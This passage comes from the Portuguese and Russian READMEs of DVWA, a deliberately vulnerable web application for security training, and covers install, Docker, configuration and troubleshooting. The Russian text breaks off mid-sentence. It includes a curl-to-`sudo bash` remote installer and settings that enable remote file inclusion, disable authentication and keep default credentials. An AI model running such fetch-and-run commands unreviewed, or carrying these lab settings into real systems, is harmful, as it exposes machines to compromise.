executar o script de configuração, significa que o nome de usuário ou a senha no arquivo de configuração não correspondem aos configurados no banco de dados:\n\n```\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (usando a senha \"YES\").\n```\n\nO erro está dizendo que você está usando o nome de usuário `notdvwa`.\n\nO seguinte erro indica que você apontou o arquivo de configuração para o banco de dados errado.\n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\nEstá dizendo que você está usando o usuário `dvwa` e tentando se conectar ao banco de dados `notdvwa`.\n\nA primeira coisa a fazer é verificar se o que você acha que colocou no arquivo de configuração é realmente o que está lá.\n\nSe corresponder ao que você espera, a próxima coisa a fazer é verificar se você pode fazer login como usuário no terminal. Supondo que você tenha um usuário de banco de dados chamado dvwa e uma senha de p@ssw0rd, execute o seguinte comando:\n\n```\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\nNota: Não há espaço após o -p\n\nSe você vir o seguinte, a senha está correta:\n\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nComo você conseguiu conectar no terminal, provavelmente algo está errado no arquivo de configuração. Verifique novamente o arquivo e se ainda assim não conseguir resolver, abra um issue.\n\nSe você receber a seguinte mensagem, significa que o nome de usuário ou a senha que você está usando estão incorretos. Repita as etapas da [Configuração do Banco de Dados](#database-setup) e certifique-se de usar o mesmo nome de usuário e senha em todo o processo.\n\n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (usando a senha: YES)\n```\n\nSe você obtiver o seguinte erro, as credenciais do usuário estão corretas, mas o usuário não tem acesso ao banco de dados. Novamente, repita as etapas de configuração e verifique o nome do banco de dados que você está usando.\n\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\nO erro final que você pode receber é este:\n\n```\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nEste não é um problema de autenticação, mas indica que o servidor de banco de dados não está em execução. Inicie-o com o seguinte comando:\n\n```sh\nsudo service mysql start\n```\n\n### Unknown authentication method\n\nCom as versões mais recentes do MySQL, o PHP não pode mais se comunicar com o banco de dados em sua configuração padrão. Se você tentar executar o script de configuração e receber a seguinte mensagem, significa que há uma configuração incorreta.\n\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nVocê tem duas opções, a mais fácil é desinstalar o MySQL e instalar o MariaDB. O seguinte é o guia oficial do projeto MariaDB:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nAlternativamente, siga estes passos:\n\n1. Como root, edite o seguinte arquivo: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n2. Abaixo da linha `[mysqld]`, adicione o seguinte:\n  `default-authentication-plugin=mysql_native_password`\n3. Reinicie o banco de dados: `sudo service mysql restart`\n4. Verifique o método de autenticação para o usuário do seu banco de dados:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n5. Provavelmente você verá `caching_sha2_password`. Se for esse o caso, execute o seguinte comando:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n\n6. Executando novamente a verificação, agora você deve ver `mysql_native_password`.\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\nApós tudo isso, o processo de configuração deve funcionar normalmente.\n\nSe você quiser mais informações, consulte a seguinte página: https://www.php.net/manual/en/mysqli.requirements.php.\n\n### Database Error #2002: No such file or directory.\n\nO servidor de banco de dados não está em execução. Em uma distribuição baseada em Debian, isso pode ser feito com o seguinte comando:\n\n```sh\nsudo service mysql start\n```\n\n### Erros \"MySQL server has gone away\" and \"Packets out of order\"\n\nExistem algumas razões pelas quais você pode estar recebendo esses erros, mas a mais provável é que a versão do servidor de banco de dados que você está executando não seja compatível com a versão do PHP.\n\nIsso é mais comumente encontrado quando você está executando a versão mais recente do MySQL, pois o PHP e o MySQL não se dão bem. O melhor conselho é abandonar o MySQL e instalar o MariaDB, já que isso não é algo que possamos oferecer suporte.\n\nPara mais informações, consulte:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### Injeção de comando não funciona\n\nO Apache pode não ter privilégios suficientes para executar comandos no servidor web. Se você estiver executando o DVWA no Linux, certifique-se de estar logado como root. No Windows, faça login como Administrador.\n\n### Por que o banco de dados não pode se conectar no CentOS?\n\nVocê pode estar tendo problemas com o SELinux. Desative o SELinux ou execute este comando para permitir que o servidor web se comunique com o banco de dados:\n```\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### Mais Alguma Coisa\n\nPara obter as informações mais recentes de solução de problemas, leia os tickets abertos e fechados no repositório do git:\n\n<https://github.com/digininja/DVWA/issues>\n\nAntes de enviar um ticket, certifique-se de que está executando a versão mais recente do código do repositório. Esta não é a última versão lançada, mas sim o último código da master branch.\n\nSe você estiver abrindo um chamado de suporte, por favor, forneça pelo menos as seguintes informações:\n\n- Sistema operacional\n- As últimas 5 linhas do log de erro do servidor web logo após o erro que está relatando\n- Se for um problema de autenticação do banco de dados, siga os passos acima e tire uma captura de tela de cada etapa. Envie essas informações juntamente com uma captura de tela da seção do arquivo de configuração que mostra o usuário e a senha do banco de dados.\n- Uma descrição completa do que está acontecendo, o que você espera que aconteça e o que tentou fazer para resolver o problema. \"login broken\" não é suficiente para entendermos o seu problema e ajudá-lo a corrigi-lo.\n\n- - -\n\n## Tutoriais\n\nVou tentar criar alguns vídeos tutoriais que expliquem algumas das vulnerabilidades e mostrem como detectá-las e explorá-las. Aqui estão os que eu fiz até agora:\n\n[Finding and Exploiting Reflected XSS](https://youtu.be/V4MATqtdxss)\n\n- - -\n\n## SQLite3 SQL Injection\n\n_O suporte para isso é limitado, antes de levantar problemas, por favor, certifique-se de estar preparado para depurar, não simplesmente alegue \"não funciona\"._\n\nPor padrão, o SQLi e o Blind SQLi são feitos contra o servidor MariaDB/MySQL usado pelo site, mas é possível alternar para fazer os testes SQLi contra o SQLite3.\n\nEu não vou cobrir como fazer o SQLite3 funcionar com o PHP, mas deve ser um caso simples de instalar o pacote `php-sqlite3` e garantir que ele esteja habilitado.\n\nPara fazer a mudança, simplesmente edite o arquivo de configuração e adicione ou edite estas linhas:\n\n```\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nPor padrão, ele usa o arquivo `database/sqli.db`, se você bagunçar, basta copiar `database/sqli.db.dist` por cima.\n\nOs desafios são exatamente os mesmos do MySQL, mas são executados no SQLite3 em vez disso.\n\n- - -\n\n👨‍💻 Contribudores\n-----\n\nObrigado por todas as suas contribuições e por manter este projeto atualizado. :heart:\n\nSe você tiver alguma ideia, alguma melhoria ou simplesmente quiser colaborar, você é bem-vindo a contribuir e participar do projeto, sinta-se à vontade para enviar sua PR.\n\n<p align=\"center\">\n<a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n</a>\n</p>\n\n- - -\n\n## Links\n\nProject Home: <https://github.com/digininja/DVWA>\n\n*Created by the DVWA team*\n\n"
  },
  {
    "path": "README.ru.md",
    "content": "\n# Damn Vulnerable Web Application \n\nDamn Vulnerable Web Application (DVWA) — это веб-приложение на PHP/MariaDB, которое является чертовски уязвимым. Его основная цель — помочь специалистам по безопасности проверить свои навыки и инструменты в легальной среде, помочь веб-разработчикам лучше понять процессы обеспечения безопасности веб-приложений и помочь как студентам, так и преподавателям изучить вопросы безопасности веб-приложений в контролируемой среде класса.\n\nЦель DVWA — **отработать некоторые из наиболее распространенных уязвимостей веб-приложений** с **различными уровнями сложности** с помощью простого и понятного интерфейса.\nОбратите внимание, что в этом программном обеспечении есть **как задокументированные, так и незадокументированные уязвимости**. Это сделано намеренно. Мы призываем вас попробовать обнаружить как можно больше проблем.\n- - -\n\n## ВНИМАНИЕ!\n\nDamn Vulnerable Web Application действительно очень уязвимо! **Не загружайте его в общедоступную папку html вашего хостинг-провайдера или на любой сервер, подключенный к Интернету**, так как они будут скомпрометированы. Рекомендуется использовать виртуальную машину (такую как [VirtualBox](https://www.virtualbox.org/) или [VMware](https://www.vmware.com/)), настроенную в режиме NAT. Внутри гостевой машины вы можете загрузить и установить [XAMPP](https://www.apachefriends.org/) для веб-сервера и базы данных.\n\n### Отказ от ответственности\n\nМы не несем ответственности за то, как кто-либо использует это приложение (DVWA). Мы четко указали цели приложения, и оно не должно использоваться в злонамеренных целях. Мы предоставили предупреждения и приняли меры, чтобы пользователи не устанавливали DVWA на действующие веб-серверы. Если ваш веб-сервер будет скомпрометирован в результате установки DVWA, это не будет нашей ответственностью, а ответственностью лица/лиц, которые загрузили и установили его.\n\n- - -\n\n## Лицензия\n\nЭтот файл является частью Damn Vulnerable Web Application (DVWA).\n\nDamn Vulnerable Web Application (DVWA) является бесплатным программным обеспечением: вы можете распространять и/или изменять\nего в соответствии с условиями общественной лицензии GNU, опубликованной\nFree Software Foundation, либо версии 3 лицензии, либо\n(по вашему усмотрению) любой более поздней версии.\n\nDamn Vulnerable Web Application (DVWA) распространяется в надежде, что оно будет полезно,\nно БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ; даже без подразумеваемой гарантии\nПРИГОДНОСТИ ДЛЯ ПРОДАЖИ или ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЕННОЙ ЦЕЛИ.  См.\nGNU General Public License.\n\nВы должны были получить копию общественной лицензии GNU\nвместе с Damn Vulnerable Web Application (DVWA).  Если нет, см. <https://www.gnu.org/licenses/>.\n\n- - -\n\n## Интернационализация\n\nЭтот файл доступен на нескольких языках:\n\n- Арабский: [العربية](README.ar.md)\n- Китайский: [简体中文](README.zh.md)\n- Французский: [Français](README.fr.md)\n- Корейский: [한국어](README.ko.md)\n- Персидский: [فارسی](README.fa.md)\n- Польский: [Polski](README.pl.md)\n- Португальский: [Português](README.pt.md)\n- Испанский: [Español](README.es.md)\n- Турецкий: [Türkçe](README.tr.md)\n- Индонезийский: [Indonesia](README.id.md)\n- Вьетнамский: [Vietnamese](README.vi.md)\n- Итальянский: [Italiano](README.it.md)\n- Украинский: [Українська](README.uk.md)\n\nЕсли вы хотите внести свой вклад в перевод, отправьте PR. Обратите внимание, что это не означает, что нужно просто перевести текст через Google Translate и отправить его, такие переводы будут отклонены. Отправьте свой перевод, добавив новый файл «README.xx.md», где xx — двухбуквенный код желаемого языка (в соответствии с [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)).\n\n- - -\n\n## Скачать\n\nХотя существует несколько версий DVWA, единственной поддерживаемой версией является последняя версия из официального репозитория GitHub. Вы можете клонировать ее из репозитория:\n\n```sh\ngit clone https://github.com/digininja/DVWA.git\n```\n\nИли [скачать ZIP-архив с файлами](https://github.com/digininja/DVWA/archive/master.zip).\n\n- - -\n\n## Установка\n\n### Автоматическая установка 🛠️\n\n**Обратите внимание, что это не официальный скрипт DVWA, он был написан [IamCarron](https://github.com/iamCarron/). На создание скрипта было затрачено много времени, и на момент создания он не выполнял никаких вредоносных действий, однако на всякий случай рекомендуется проверить скрипт, прежде чем слепо запускать его в своей системе. Пожалуйста, сообщайте о любых ошибках [IamCarron](https://github.com/iamCarron/), а не здесь.**\n\nАвтоматический скрипт настройки DVWA для машин на базе Debian, включая Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS...\n\n**Примечание: этот скрипт требует прав root и предназначен для систем на базе Debian. Убедитесь, что вы запускаете его как пользователь root.**\n\n#### Требования к установке\n\n- **Операционная система:** система на базе Debian (Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS)\n- **Права:** Выполнение от имени пользователя root\n\n#### Шаги по установке\n\n##### Однострочный\n\nЭто позволит загрузить скрипт установки, написанный [@IamCarron](https://github.com/IamCarron), и запустить его автоматически. Мы бы не включили его сюда, если бы не доверяли автору и скрипту в том виде, в котором он был на момент проверки, но всегда есть вероятность, что кто-то может злоупотребить доверием, поэтому, если вы не чувствуете себя в безопасности, запуская чужой код без его предварительной проверки, следуйте инструкциям по ручной установке и проверьте его после загрузки.\n\n```sh\nsudo bash -c \"$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)\"\n```\n\n##### Запуск скрипта вручную\n\n1. **Загрузите скрипт:**\n\n   ```sh\n   wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh\n   ```\n\n2. **Сделайте скрипт исполняемым:**\n\n   ```sh\n   chmod +x Install-DVWA.sh\n   ```\n\n3. **Запустите скрипт от имени root:**\n\n   ```sh\n   sudo ./Install-DVWA.sh\n   ```\n\n### Видео по установке\n\n- [Установка DVWA на Kali, работающей в VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [Установка DVWA в Windows с помощью XAMPP](https://youtu.be/Yzksa_WjnY0)\n- [Установка Damn Vulnerable Web Application (DVWA) в Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### Windows + XAMPP\n\nСамый простой способ установить DVWA — это загрузить и установить [XAMPP](https://www.apachefriends.org/), если у вас еще нет настроенного веб-сервера.\n\nXAMPP — это очень простой в установке дистрибутив Apache для Linux, Solaris, Windows и Mac OS X. Пакет включает веб-сервер Apache, MySQL, PHP, Perl, FTP-сервер и phpMyAdmin.\n\nЭто [видео](https://youtu.be/Yzksa_WjnY0) проведет вас через процесс установки для Windows, но он должен быть аналогичным для других ОС.\n\n### Docker\n\nБлагодаря [hoang-himself](https://github.com/hoang-himself) и [JGillam](https://github.com/JGillam), каждый коммит в ветку `master` приводит к созданию образа Docker, который можно загрузить из реестра контейнеров GitHub.\n\nДля получения дополнительной информации о том, что вы получаете, вы можете просмотреть [готовые образы Docker](https://github.com/digininja/DVWA/pkgs/container/dvwa).\n\n#### Начало работы\n\nНеобходимые условия: Docker и Docker Compose.\n\n- Если вы используете Docker Desktop, оба эти компонента должны быть уже установлены.\n- Если вы предпочитаете Docker Engine на Linux, обязательно следуйте [руководству по установке](https://docs.docker.com/engine/install/#server).\n\n**Мы предоставляем поддержку для последней версии Docker, как показано выше.**\nЕсли вы используете Linux и пакет Docker, поставляемый с вашим менеджером пакетов, он, вероятно, тоже будет работать, но поддержка будет предоставляться только по мере возможности.\n\nДля обновления Docker с версии из пакетного менеджера до версии из исходного репозитория необходимо удалить старые версии, как указано в руководствах для [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) и других.\nВаши данные Docker (контейнеры, образы, тома и т. д.) не должны быть затронуты, но в случае возникновения проблем обязательно [сообщите об этом Docker](https://www.docker.com/support) и воспользуйтесь поисковыми системами.\n\nЗатем, чтобы начать:\n\n1. Запустите `docker version` и `docker compose version`, чтобы проверить, правильно ли установлены Docker и Docker Compose. Вы должны увидеть их версии в выводе.\n\n    Например:\n\n    ```text\n    >>> docker version\n    Клиент:\n     [...]\n     Version:           23.0.5\n     [...]\n\n    Сервер: Docker Desktop 4.19.0 (106363)\n     Движок:\n      [...]\n      Version:          23.0.5\n      [...]\n\n    >>> docker compose version\n    Docker Compose version v2.17.3\n    ```\n\n    Если вы ничего не видите или получаете ошибку «команда не найдена», выполните предварительные требования для настройки Docker и Docker Compose.\n\n2. Клонируйте или загрузите этот репозиторий и извлеките его (см. [Загрузка](#download)).\n3. Откройте терминал по вашему выбору и измените его рабочий каталог на эту папку (`DVWA`).\n4. Запустите `docker compose up -d`.\n\nDVWA теперь доступен по адресу `http://localhost:4280`.\n\n**Обратите внимание, что для запуска DVWA в контейнерах веб-сервер прослушивает порт 4280 вместо обычного порта 80.**\nДля получения дополнительной информации об этом решении см. [Я хочу запустить DVWA на другом порту](#i-want-to-run-dvwa-on-a-different-port).\n\n#### Локальная сборка\n\nЕсли вы внесли локальные изменения и хотите скомпилировать проект локально, перейдите в `compose.yml` и измените `pull_policy: always` на `pull_policy: build`.\n\nЗапуск `docker compose up -d` должен запустить Docker для сборки образа из локальной системы, независимо от того, что доступно в реестре.\n\nСм. также: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy).\n\n#### Обслуживание локальных файлов\n\nЕсли вы вносите локальные изменения и не хотите создавать проект при каждом изменении:\n1. Перейдите в `compose.yml` и удалите комментарий:\n    ```\n        # volumes:\n        #   - ./:/var/www/html\n    ```\n2. Запустите `cp config/config.inc.php.dist config/config.inc.php`, чтобы скопировать файл конфигурации по умолчанию.\n3. Запустите `docker compose up -d`, и изменения в локальных файлах отразятся в контейнере.\n\n### Версии PHP\n\nВ идеале вы должны использовать последнюю стабильную версию PHP, так как именно на этой версии будет разработано и протестировано данное приложение.\n\nПоддержка не будет предоставляться тем, кто пытается использовать PHP 5.x.\n\nВ версиях ниже 7.3 есть известные проблемы, которые могут вызвать сбои в работе. Большая часть приложения будет работать, но некоторые функции могут не работать. Если у вас нет веских причин для использования такой старой версии, поддержка не будет предоставляться.\n\n### Пакеты Linux\n\nЕсли вы используете дистрибутив Linux на основе Debian, вам необходимо установить следующие пакеты _(или их эквиваленты)_:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\nЯ бы порекомендовал перед этим выполнить обновление, чтобы убедиться, что у вас установлены последние версии всех компонентов.\n\n```sh\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\nСайт будет работать с MySQL вместо MariaDB, но мы настоятельно рекомендуем MariaDB, так как она работает сразу после установки, в то время как для правильной работы MySQL необходимо внести изменения.\n\n### Модули Apache\n\nЕсли вы хотите использовать API lab, у вас должен быть включен модуль Apache `mod_rewrite`. Для этого в Linux выполните:\n\n```\na2enmod rewrite\n```\n\nЗатем перезапустите Apache с помощью команды:\n\n```\napachectl restart\n```\n\n### Файлы поставщика\n\nЕсли вы хотите использовать модуль API, вам необходимо установить набор файлов поставщика с помощью [Composer](https://getcomposer.org/).\n\nСначала убедитесь, что у вас установлен Composer. Похоже, есть проблемы с обратной совместимостью, поэтому я всегда беру последнюю версию отсюда:\n\nhttps://getcomposer.org/doc/00-intro.md\n\nСледуйте инструкциям на сайте, чтобы установить его.\n\nТеперь перейдите в каталог `vulnerabilities/api` и запустите:\n\n```\ncomposer.phar install\n```\n\nЕсли вы не установили Composer в системный путь, убедитесь, что указали его полное расположение.\n\n## Настройки\n\n### Файл конфигурации\n\nDVWA поставляется с фиктивной копией своего файла конфигурации, которую вам необходимо скопировать в нужное место, а затем внести соответствующие изменения. В Linux, предполагая, что вы находитесь в каталоге DVWA, это можно сделать следующим образом:\n\n`cp config/config.inc.php.dist config/config.inc.php`\n\nВ Windows это может быть немного сложнее, если вы скрываете расширения файлов. Если вы не уверены в этом, в этой статье блога объясняется более подробно:\n\n[Как заставить Windows показывать расширения файлов](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### Настройка с помощью переменных среды\n\nВместо изменения файла конфигурации вы также можете установить большинство настроек с помощью переменных среды. При развертывании в Docker или Kubernetes это позволяет изменять конфигурацию без создания нового образа Docker. Переменные находятся в файле [config/config.inc.php.dist](config/config.inc.php.dist).\n\nЕсли вы хотите установить уровень безопасности по умолчанию на «низкий», просто добавьте следующую строку в файл [compose.yml](./compose.yml):\n\n```yml\nenvironment:\n  - DB_SERVER=db\n  - DEFAULT_SECURITY_LEVEL=low\n```\n\n### Настройка базы данных\n\nЧтобы настроить базу данных, просто нажмите кнопку «Setup DVWA» (Настройка DVWA) в главном меню, а затем нажмите кнопку «Create / Reset Database» (Создать / Сбросить базу данных). Это создаст / сбросит базу данных с некоторыми данными.\n\nЕсли при попытке создать базу данных вы получили сообщение об ошибке, убедитесь, что ваши учетные данные для базы данных в файле `./config/config.inc.php` верны. _Это отличается от config.inc.php.dist, который является примером файла._\n\nПо умолчанию переменные установлены следующим образом:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nОбратите внимание: если вы используете MariaDB вместо MySQL (MariaDB является стандартной базой данных в Kali), то вы не можете использовать пользователя root базы данных, вам необходимо создать нового пользователя базы данных. Для этого подключитесь к базе данных как пользователь root, затем выполните следующие команды:\n\n```mariadb\nMariaDB [(none)]> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nMariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Отключение аутентификации\n\nНекоторые инструменты не работают с аутентификацией, поэтому их нельзя использовать с DVWA. Чтобы обойти эту проблему, существует опция конфигурации, позволяющая отключить проверку аутентификации. Для этого просто установите следующее в файле конфигурации:\n\n```php\n$_DVWA[ 'disable_authentication' ] = true;\n```\n\nВам также необходимо будет установить уровень безопасности, соответствующий тестированию, которое вы хотите провести:\n\n```php\n$_DVWA[ 'default_security_level' ] = 'low';\n```\n\nВ этом состоянии вы можете получить доступ ко всем функциям без необходимости входа в систему и установки каких-либо файлов cookie.\n\n### Разрешения для папок\n\n- `./hackable/uploads/` - Должна быть доступна для записи веб-службой (для загрузки файлов).\n\n### Конфигурация PHP\n\nВ системах Linux, вероятно, находится в `/etc/php/x.x/fpm/php.ini` или `/etc/php/x.x/apache2/php.ini`.\n\n- Чтобы разрешить  удаленное включение файлов (RFI):\n  - `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n  - `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n\n- Чтобы PHP отображал все сообщения об ошибках:\n  - `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n  - `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)]\n\nОбязательно перезапустите службу php или Apache после внесения изменений.\n\n### reCAPTCHA\n\nЭто требуется только для лабораторной работы «Небезопасная CAPTCHA». Если вы не занимаетесь этой лабораторной работой, можете пропустить этот раздел.\n\nСгенерируйте пару ключей API на сайте <https://www.google.com/recaptcha/admin/create>.\n\nЗатем вставьте их в следующие разделы файла `./config/config.inc.php`:\n\n- `$_DVWA[ 'recaptcha_public_key' ]`\n- `$_DVWA[ 'recaptcha_private_key' ]`\n\n### Учетные данные по умолчанию\n\n**Имя пользователя по умолчанию = `admin`**\n\n**Пароль по умолчанию = `password`**\n\n_...легко поддаются брутфорсу ;)_\n\nURL для входа: <http://127.0.0.1/login.php>\n\n_Примечание: этот адрес будет другим, если вы установили DVWA в другой каталог._\n\n- - -\n\n## Устранение неполадок\n\nПредполагается, что вы используете дистрибутив на базе Debian, такой как Debian, Ubuntu и Kali. Для других дистрибутивов следуйте инструкциям, но обновите команду там, где это необходимо.\n\nЕсли вы предпочитаете смотреть видео, а не читать текст, самые распространенные проблемы описаны в видео [Устранение проблем с настройкой DVWA](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F).\n\n### Контейнеры\n\n#### Я хочу получить доступ к журналам\n\nЕсли вы используете Docker Desktop, доступ к журналам можно получить из графического приложения.\nНекоторые мелкие детали могут измениться в более новых версиях, но способ доступа должен остаться прежним.\n\n![Обзор DVWA compose](./docs/graphics/docker/overview.png)\n![Просмотр журналов DVWA](docs/graphics/docker/detail.png)\n\nДоступ к журналам также можно получить из терминала.\n\n1. Откройте терминал и измените его рабочий каталог на DVWA\n2. Отобразите объединенные журналы\n\n    ```sh\n    docker compose logs\n    ```\n\n   Если вы хотите экспортировать журналы в файл, например `dvwa.log`\n\n   ```sh\n   docker compose logs > dvwa.log\n   ```\n\n#### Я хочу запустить DVWA на другом порту\n\nМы не используем порт 80 по умолчанию по нескольким причинам:\n\n- Некоторые пользователи могут уже запускать что-то на порту 80.\n- Некоторые пользователи могут использовать контейнерный движок без прав root (например, Podman), а 80 является привилегированным портом (< 1024). Требуется дополнительная настройка (например, установка `net.ipv4.ip_unprivileged_port_start`), но вам придется самостоятельно изучить этот вопрос.\n\nВы можете открыть DVWA на другом порту, изменив привязку порта в файле `compose.yml`.\nНапример, вы можете изменить\n\n```yml\nports:\n  - 127.0.0.1:4280:80\n```\n\nна\n\n```yml\nports:\n  - 127.0.0.1:8806:80\n```\n\nDVWA теперь доступен по адресу `http://localhost:8806`.\n\nВ случаях, когда вы хотите, чтобы DVWA был доступен не только с вашего собственного устройства, но\nи в локальной сети (например, потому что вы настраиваете тестовую машину для семинара), вы\nвы можете удалить `127.0.0.1:` из сопоставления портов (или заменить его IP-адресом вашей локальной сети). Таким образом, он\nбудет прослушивать все доступные устройства. Безопасным по умолчанию всегда должно быть прослушивание только вашего\nлокальное устройство обратной связи. В конце концов, это чертовски уязвимое веб-приложение, работающее на вашем компьютере.\n\n#### DVWA запускается автоматически при запуске Docker\n\nВключенный файл [`compose.yml`](./compose.yml) автоматически запускает DVWA и его базу данных при запуске Docker.\n\nЧтобы отключить эту функцию, вы можете удалить или закомментировать строки `restart: unless-stopped` в файле [`compose.yml`](./compose.yml).\n\nЕсли вы хотите временно отключить это поведение, вы можете запустить `docker compose stop` или использовать Docker Desktop, найти `dvwa` и нажать «Stop».\nКроме того, вы можете удалить контейнеры или запустить `docker compose down`.\n\n### Файлы журналов\n\nВ системах Linux Apache по умолчанию генерирует два файла журнала, `access.log` и `error.log`, а в системах на базе Debian они обычно находятся в `/var/log/apache2/`.\n\nПри отправке отчетов об ошибках, проблемах и т. п. пожалуйста, включайте в них как минимум последние пять строк из каждого из этих файлов. В системах на базе Debian их можно получить следующим образом:\n\n```sh\ntail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log\n```\n\n### Я перешел на сайт и получил ошибку 404 или страницу по умолчанию Apache2\n\n[Видео-справка](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=141)\n\nЕсли у вас возникла эта проблема, вам необходимо понять расположение файлов. По умолчанию корневой каталог Apache (место, где он начинает искать веб-контент) находится в `/var/www/html`. Если вы поместите файл `hello.txt` в этот каталог, для доступа к нему вам нужно будет перейти по адресу `http://localhost/hello.txt`.\n\nЕсли вы создали каталог и поместили файл в него — `/var/www/html/mydir/hello.txt` — вам нужно будет перейти по адресу `http://localhost/mydir/hello.txt`.\n\nLinux по умолчанию чувствителен к регистру, поэтому в приведенном выше примере, если вы попытаетесь перейти по любому из этих адресов, вы получите сообщение `404 Not Found`:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nКак это влияет на DVWA? Большинство людей используют git для клонирования DVWA в `/var/www/html`, в результате чего они получают каталог `/var/www/html/DVWA/` со всеми файлами DVWA внутри. Затем они переходят по адресу `http://localhost/` и получают либо сообщение `404`, либо стандартную страницу приветствия Apache. Поскольку файлы находятся в DVWA, необходимо перейти по адресу `http://localhost/DVWA`.\n\nДругой распространенной ошибкой является переход по адресу `http://localhost/dvwa`, который даст ошибку `404`, поскольку `dvwa` не является `DVWA` с точки зрения сопоставления каталогов Linux.\n\nПоэтому после настройки, если вы пытаетесь посетить сайт и получаете ошибку `404`, подумайте, куда вы установили файлы, где они находятся по отношению к корню документов и каков регистр используемого вами каталога.\n\n### Я перешел на сайт и получил пустой экран\n\n[Видео-справка](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=243)\n\nОбычно это одна проблема конфигурации, скрывающая другую проблему. По умолчанию PHP не отображает ошибки, поэтому, если вы забыли включить отображение ошибок во время процесса настройки, любые другие проблемы, такие как сбой подключения к базе данных, остановят загрузку приложения, но сообщение о том, что не так, будет скрыто.\n\nЧтобы исправить это, убедитесь, что вы установили `display_errors` и `display_startup_errors`, как описано в [Конфигурация PHP](#php-configuration), а затем перезапустите Apache.\n\n### «Доступ запрещен» при запуске установки\n\nЕсли при запуске скрипта установки вы видите следующее сообщение, это означает, что имя пользователя или пароль в файле конфигурации не совпадают с теми, которые настроены в базе данных. [Видео-справка](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=973)\n\n```mariadb\nОшибка базы данных #1045: Доступ запрещен для пользователя 'notdvwa'@'localhost' (с использованием пароля: ДА).\n```\n\nОшибка сообщает вам, что вы используете имя пользователя `notdvwa`.\n\nСледующая ошибка означает, что вы указали в файле конфигурации неверную базу данных. 